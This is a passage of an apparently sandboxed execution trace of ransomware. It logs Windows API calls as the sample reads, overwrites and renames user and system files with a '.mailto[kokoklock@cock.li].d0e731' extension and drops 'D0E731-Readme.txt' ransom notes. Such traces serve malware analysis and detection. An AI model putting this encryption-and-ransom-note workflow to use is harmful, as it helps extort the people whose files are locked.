lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d2bf930*=0x8, lpOverlapped=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d2bf948*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x1d2bf948*, lpNumberOfBytesWritten=0x1d2bf930*=0x4, lpOverlapped=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d2bf930*=0x4, lpOverlapped=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d2bf930*=0x6c, lpOverlapped=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d2bf930*=0x20, lpOverlapped=0x0) returned 1 [0075.782] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d2bf930, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d2bf930*=0x4, lpOverlapped=0x0) returned 1 [0075.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d28) returned 1 [0075.783] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.783] CloseHandle (hObject=0x9e8) returned 1 [0075.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x34323c0 [0075.783] wcscpy (in: _Dest=0x34323c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" [0075.783] wcscat (in: _Dest=0x34323c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" [0075.783] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.784] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34323c0) returned 1 [0075.784] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls", dwFileAttributes=0x20) returned 0 [0075.784] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0075.784] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.784] wcscat (in: _Dest=0x347bca0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.784] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0075.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f348) returned 1 [0075.784] RtlExitUserThread (Status=0x1) Thread: id = 779 os_tid = 0x1098 [0075.789] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png")) returned 0x20 [0075.791] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png", dwFileAttributes=0x20) returned 1 [0075.792] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.793] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d33f928 | out: lpFileSize=0x1d33f928*=919) returned 1 [0075.793] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x393, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.793] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d33f8fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x1d33f8fc*, lpNumberOfBytesRead=0x1d33f8f8*=0x4, lpOverlapped=0x0) returned 1 [0075.795] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478cd8 [0075.795] NtQuerySystemTime (in: CurrentTime=0x1d33f8d4 | out: CurrentTime=0x1d33f8d4*=132121176336908941) returned 0x0 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xe53d6393 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x55d0fa08 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x2492bab5 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x940510df [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xdc01f05 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xb61b25df [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xd4ea1c96 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x97e29715 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xc1f6eca6 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x65d996bf [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x9545d656 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xa911b4a [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xed40853a [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x812d746a [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x514aec65 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xaf791d2e [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xf26cde89 [0075.795] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xf7d21829 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xccac4c05 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x8478064e [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x80b1acf8 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x2c5fa1d1 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x9131c9a9 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x30b87f6c [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x5e25b793 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xbf094f03 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xc2103e1e [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xf7d3d658 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xa883d121 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xe3a6e6d3 [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0x48bd9fbf [0075.796] RtlRandom (in: Seed=0x1d33f8e0 | out: Seed=0x1d33f8e0) returned 0xee087deb [0075.807] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x1d33f8d4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d33f8d4*=0x397, lpOverlapped=0x0) returned 1 [0075.807] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d33f89c | out: lpNewFilePointer=0x0) returned 1 [0075.807] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x397, lpNumberOfBytesWritten=0x1d33f8d0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d33f8d0*=0x397, lpOverlapped=0x0) returned 1 [0075.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d50 [0075.807] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.807] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478d50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d33f8cc, lpOverlapped=0x0 | out: lpBuffer=0x3478d50*, lpNumberOfBytesWritten=0x1d33f8cc*=0x20, lpOverlapped=0x0) returned 1 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d50) returned 1 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.807] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d33f8f8*=0x8, lpOverlapped=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d33f910*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x1d33f910*, lpNumberOfBytesWritten=0x1d33f8f8*=0x4, lpOverlapped=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d33f8f8*=0x4, lpOverlapped=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d33f8f8*=0x6c, lpOverlapped=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d33f8f8*=0x20, lpOverlapped=0x0) returned 1 [0075.808] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d33f8f8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d33f8f8*=0x4, lpOverlapped=0x0) returned 1 [0075.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d28) returned 1 [0075.808] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.808] CloseHandle (hObject=0x9e8) returned 1 [0075.808] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb450 [0075.808] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Windows10Upgrade\\resources\\ux\\block.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png" [0075.808] wcscat (in: _Dest=0x33eb450, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731" [0075.808] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.809] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.809] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb450) returned 1 [0075.809] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png", dwFileAttributes=0x20) returned 0 [0075.809] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dee0 [0075.809] wcscpy (in: _Dest=0x347dee0, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.809] wcscat (in: _Dest=0x347dee0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.809] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0xffffffff [0075.809] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.814] WriteFile (in: hFile=0x9e8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1d33f8f4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1d33f8f4*=0x481, lpOverlapped=0x0) returned 1 [0075.815] CloseHandle (hObject=0x9e8) returned 1 [0075.815] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dee0) returned 1 [0075.815] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f18) returned 1 [0075.815] RtlExitUserThread (Status=0x1) Thread: id = 780 os_tid = 0x10b0 [0075.816] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png")) returned 0x20 [0075.817] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png", dwFileAttributes=0x20) returned 1 [0075.817] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e8 [0075.817] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x1d3bfd30 | out: lpFileSize=0x1d3bfd30*=7080) returned 1 [0075.817] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.817] ReadFile (in: hFile=0x9e8, lpBuffer=0x1d3bfd04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x1d3bfd04*, lpNumberOfBytesRead=0x1d3bfd00*=0x4, lpOverlapped=0x0) returned 1 [0075.819] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d00 [0075.819] NtQuerySystemTime (in: CurrentTime=0x1d3bfcdc | out: CurrentTime=0x1d3bfcdc*=132121176337065200) returned 0x0 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xb841dfdf [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x504cdace [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x183c6b43 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x810e8591 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x973e68f8 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xe1625265 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x177167ee [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x1ab5f4f [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x93bcc9d8 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x78df669b [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x907d898b [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x2ce87248 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xf98691dc [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xb8687e88 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xa70e71c8 [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x391599eb [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x6df7a3ce [0075.819] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xacaa0ee0 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x737145e7 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x6e9830b2 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xae680239 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xbe9e0fc5 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x4589ceea [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xd8a00a53 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xdefd2e63 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x6fa95257 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xca9f4e9b [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xac971f31 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xcb857a5a [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0x5e84b6a0 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xa56b21d3 [0075.820] RtlRandom (in: Seed=0x1d3bfce8 | out: Seed=0x1d3bfce8) returned 0xb7e2a92f [0075.831] ReadFile (in: hFile=0x9e8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1ba8, lpNumberOfBytesRead=0x1d3bfcdc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d3bfcdc*=0x1ba8, lpOverlapped=0x0) returned 1 [0075.831] SetFilePointerEx (in: hFile=0x9e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d3bfca4 | out: lpNewFilePointer=0x0) returned 1 [0075.831] WriteFile (in: hFile=0x9e8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1ba8, lpNumberOfBytesWritten=0x1d3bfcd8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d3bfcd8*=0x1ba8, lpOverlapped=0x0) returned 1 [0075.832] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478d50 [0075.832] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34788a0 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34788a0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478d50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d3bfcd4, lpOverlapped=0x0 | out: lpBuffer=0x3478d50*, lpNumberOfBytesWritten=0x1d3bfcd4*=0x20, lpOverlapped=0x0) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d50) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d3bfd00*=0x8, lpOverlapped=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x1d3bfd18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x1d3bfd18*, lpNumberOfBytesWritten=0x1d3bfd00*=0x4, lpOverlapped=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d3bfd00*=0x4, lpOverlapped=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d3bfd00*=0x6c, lpOverlapped=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d3bfd00*=0x20, lpOverlapped=0x0) returned 1 [0075.832] WriteFile (in: hFile=0x9e8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d3bfd00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d3bfd00*=0x4, lpOverlapped=0x0) returned 1 [0075.832] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0075.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478d28) returned 1 [0075.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0075.833] CloseHandle (hObject=0x9e8) returned 1 [0075.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e69c0 [0075.833] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" [0075.833] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png.mailto[kokoklock@cock.li].d0e731" [0075.833] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), 